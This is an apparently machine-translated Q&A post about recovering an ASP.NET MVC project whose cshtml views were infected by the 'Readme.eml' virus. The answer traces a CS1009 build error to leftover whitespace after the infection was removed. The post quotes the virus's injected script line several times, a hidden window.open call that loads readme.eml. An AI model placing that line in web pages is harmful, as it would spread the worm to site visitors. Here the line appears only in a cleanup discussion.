病毒损坏的MVC C#项目导致无法识别的转义序列错误

时间:2017-05-12 18:55:41

标签: c# asp.net-mvc

请帮我解决这个奇怪的问题!

在过去的几天里,我的电脑受到病毒的影响" Readme.eml" 这个病毒影响了我计算机中的所有Html和CsHTML文件。

病毒在我所有项目的每个cshtml文件中添加了新行 该行是<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>

打开我的一个项目,当我运行编译器时,在解析视图时在此行声明错误。

我已经克服了这个问题;但仍然没有运气!

  1. 使用多个Anti-Viruses成功清除了Readme.eml病毒及其所有文件
  2. 打开我要恢复的项目之一
  3. 搜索了病毒<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>添加的脚本代码,并替换为空格(在所有视图中替换了近2000行)
  4. 成功清理并重建项目
  5. 当我运行项目现在时,它会抛出Compiler Error Message: CS1009: Unrecognized escape sequence
  6. 错误行说明Line 1194:WriteLiteral("\\r\n");

    源文件:Source File: c:\Users\Mohamed\AppData\Local\Temp\Temporary ASP.NET Files\vs\1bc13a3b\8a6f90dd\App_Web_index.cshtml.a8d08dba.teskwqdt.0.cs Line: 1194

    我搜索了项目中的 WriteLiteral(&#34; \ r \ n&#34;); ,无法在任何地方找到它!

1 个答案:

答案 0 :(得分:0)

经过几个小时的努力解决这个问题;最后我遇到了问题并解决了它。

虽然我试图通过Find&amp; amp;删除病毒添加的额外行替换<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>我在这一行之后留下了一个类似空格的字符;

White Spaces after Removing the Script line

最后从所有视图中删除这些字符手动解决问题!